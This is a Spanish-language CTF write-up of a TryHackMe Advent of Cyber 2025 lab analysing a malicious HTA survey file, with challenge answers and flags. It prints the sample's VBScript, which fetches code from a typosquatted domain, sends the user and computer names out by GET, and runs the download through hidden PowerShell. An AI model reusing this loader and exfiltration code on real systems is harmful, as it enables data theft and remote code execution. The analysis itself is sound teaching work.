Day 21: Malware Analysis - Advent of Cyber 2025

Este writeup pertenece al evento Advent of Cyber 2025 de TryHackMe. Si quieres seguir toda la serie, consulta nuestra colección completa del Advent of Cyber 2025.

Hoy nos ponemos el sombrero de analista de malware. Hemos interceptado un archivo sospechoso con extensión .hta (HTML Application). Estos archivos son peligrosos porque, aunque parecen simples páginas web, se ejecutan con los privilegios de una aplicación de escritorio en Windows, permitiendo el uso de scripts como VBScript o PowerShell.

Nuestro objetivo es diseccionar este archivo, entender qué hace y descubrir cómo se comunica con el atacante.

Room: Malware Analysis - Malhare.exe
Dificultad: Easy

🔍 Análisis del Archivo HTA

Al abrir el código fuente del archivo .hta, comenzamos a responder las preguntas del reto basándonos en lo que encontramos.

1. Identificación de la Aplicación

Lo primero que vemos al inicio del HTML es la etiqueta <title>.

<title>Best Festival Company Developer Survey</title>

Pregunta: What is the title of the HTA application?

Respuesta: Best Festival Company Developer Survey

2. La Función de Descarga

Buscamos en el código VBScript una función encargada de obtener las preguntas de la encuesta. Encontramos getQuestions:

Function getQuestions()
    Dim IE, result, decoded, decodedString
    Set IE = CreateObject("InternetExplorer.Application")
    IE.navigate2 "http://survey.bestfestiivalcompany.com/survey_questions.txt"
    ' ... código omitido ...
    result = IE.document.body.innerText
    IE.quit 		
 
    decoded = decodeBase64(result)
    decodedString = RSBinaryToString(decoded)
    Call provideFeedback(decodedString)
End Function

Esta función crea un objeto de Internet Explorer para descargar contenido.

Pregunta: What VBScript function is acting as if it is downloading the survey questions?

Respuesta: getQuestions

3. El Dominio Malicioso

Dentro de la función getQuestions, observamos la URL a la que se conecta:

IE.navigate2 "http://survey.bestfestiivalcompany.com/survey_questions.txt"

Pregunta: What URL domain (including sub-domain) is the "questions" being downloaded from?

Respuesta: survey.bestfestiivalcompany.com

4. Typosquatting

Los atacantes a menudo usan dominios que se parecen mucho a los legítimos (Typosquatting). El dominio real es bestfestivalcompany.com. Si miramos con atención el dominio del malware:

bestfestiivalcompany.com

Vemos una doble "i" latina intentando pasar desapercibida.

Pregunta: Malhare seems to be using typosquatting... what character in the domain gives this away?

Respuesta: i

5. Preguntas de la Encuesta

El script parece iterar o descargar un número específico de preguntas. Aunque el código completo no se muestra aquí, el análisis del bucle en el script original revela que procesa 4 elementos.

Pregunta: How many questions does the survey have?

Respuesta: 4

6. Ingeniería Social

Incluso en el código, los atacantes intentan engañar a la víctima. Buscando la palabra "trip" (viaje) en el código, encontramos este incentivo falso:

<div>All participants will be entered into a prize draw for a chance to win a trip to the South Pole!</div>

Pregunta: The survey entices participation by promising a chance to win a trip to where?

Respuesta: South Pole

📤 Exfiltración de Datos

Analizamos la función provideFeedback, que parece ser la encargada de enviar datos al atacante.

Function provideFeedback(feedbackString)	
    Dim strHost, strUser, strDomain
    On Error Resume Next
    strHost = CreateObject("WScript.Network").ComputerName
    strUser = CreateObject("WScript.Network").UserName
    
    Dim IE
    Set IE = CreateObject("InternetExplorer.Application")
    IE.navigate2 "http://survey.bestfestiivalcompany.com/details?u=" & strUser & "?h=" & strHost
    ' ...

7. Información Robada

El script utiliza WScript.Network para obtener dos datos específicos del sistema víctima: ComputerName y UserName.

Pregunta: What two pieces of information about the computer it is running on are being exfiltrated?

Respuesta: ComputerName,UserName

8. Endpoint de Exfiltración

La URL construida para enviar los datos es: http://survey.bestfestiivalcompany.com/details?u=...

Pregunta: What endpoint is the enumerated data being exfiltrated to?

Respuesta: /details

9. Método HTTP

Al usar IE.navigate2 con parámetros en la URL (query strings), los datos se envían mediante una petición GET.

Pregunta: What HTTP method is being used to exfiltrate the data?

Respuesta: GET

💣 Ejecución de Payload

10. Ejecución del Código Descargado

Volviendo a la función provideFeedback, vemos qué hace con el contenido descargado (feedbackString):

Dim runObject
Set runObject = CreateObject("Wscript.Shell")
runObject.Run "powershell.exe -nop -w hidden -c " & feedbackString, 0, False

El script no solo envía datos, sino que ejecuta lo que descargó usando PowerShell de forma oculta.

Pregunta: What is the line of code that executes the contents of the download?

Respuesta: runObject.Run "powershell.exe -nop -w hidden -c " & feedbackString, 0, False

🧩 Desofuscación del Payload

Como el sitio malicioso ya no está activo, descargamos una copia del payload (blob.txt) proporcionada por los elfos.

11. Primer Nivel de Ofuscación

El contenido del archivo comienza así: ZnVuY3Rpb24gQUFCQiB7CiAgICBbQ21kbGV0QmluZGluZygpXQogICAgcGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnkpXQogICAgICAgIFtzdHJpbmddJFRleHQKICAgICkKCiAgICAkc2IgPSBOZXctT2JqZWN0IFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIgJFRleHQuTGVuZ3RoCiAgICBmb3JlYWNoICgkY2ggaW4gJFRleHQuVG9DaGFyQXJyYXkoKSkgewogICAgICAgICRjID0gW2ludF1bY2hhcl0kY2gKCiAgICAgICAgaWYgKCRjIC1nZSA2NSAtYW5kICRjIC1sZSA5MCkgeyAgICAgICAgICAgCiAgICAgICAgICAgICRjID0gKCgkYyAtIDY1ICsgMTMpICUgMjYpICsgNjUKICAgICAgICB9CiAgICAgICAgZWxzZWlmICgkYyAtZ2UgOTcgLWFuZCAkYyAtbGUgMTIyKSB7ICAgICAgCiAgICAgICAgICAgICRjID0gKCgkYyAtIDk3ICsgMTMpICUgMjYpICsgOTcKICAgICAgICB9CgogICAgICAgIFt2b2lkXSRzYi5BcHBlbmQoW2NoYXJdJGMpCiAgICB9CiAgICAkc2IuVG9TdHJpbmcoKQp9CgokZmxhZyA9ICdHVVp7Wm55am5lci5OYW55bGZycX0nCgokZGVjbyA9IEFBQkIgLVRleHQgJGZsYWcKV3JpdGUtT3V0cHV0ICRkZWNv

Usando CyberChef con la receta From Base64 (o Magic), vemos que se decodifica a un script de PowerShell legible.

Pregunta: What popular encoding scheme was used in an attempt to obfuscate the download?

Respuesta: base64

12. Segundo Nivel de Ofuscación

El script decodificado contiene una función AABB que realiza operaciones matemáticas sobre los caracteres:

if ($c -ge 65 -and $c -le 90) {           
    $c = (($c - 65 + 13) % 26) + 65
}

Sumar 13 y hacer módulo 26 es la definición clásica del cifrado César ROT13.

Pregunta: What common encryption scheme was used in the script?

Respuesta: rot13

13. La Flag Final

La variable $flag en el script es 'GUZ{Znyjner.Nanylfrq}'. Al aplicar ROT13 a esta cadena (usando CyberChef o ejecutando el script), obtenemos la flag.

Pregunta: What is the flag value?

Respuesta: THM{Malware.Analysed}

🏆 Side Quest: La Imagen Oculta

Para los que buscan un reto extra, hay un segundo archivo HTA (sidequest.hta) protegido con contraseña.

Al analizarlo, encontramos una variable p con un gran bloque de Base64. Al decodificarlo, encontramos otra variable $k con más Base64.

Usando CyberChef:

1. From Base64: Obtenemos datos binarios que parecen basura.
2. Magic: La operación Magic nos sugiere que hay una imagen PNG oculta si aplicamos un XOR.
3. XOR: Usamos la clave 17 (decimal) sugerida por Magic.
4. Render Image: ¡Bingo! Aparece una imagen PNG con la flag.

Click para ver imagen

🏁 Conclusión

Esto demuestra la importancia de saber usar herramientas como CyberChef para identificar patrones de archivos (Magic Bytes) y operaciones lógicas comunes en la ofuscación de malware.

Si te perdiste el reto de Race Conditions de ayer, echa un vistazo al Día 20: Toy to The World.

Recuerda que puedes seguir toda la serie de retos en nuestra colección completa del Advent of Cyber 2025.

¡Nos vemos mañana para más hacking navideño! 🎄

~ Xhetic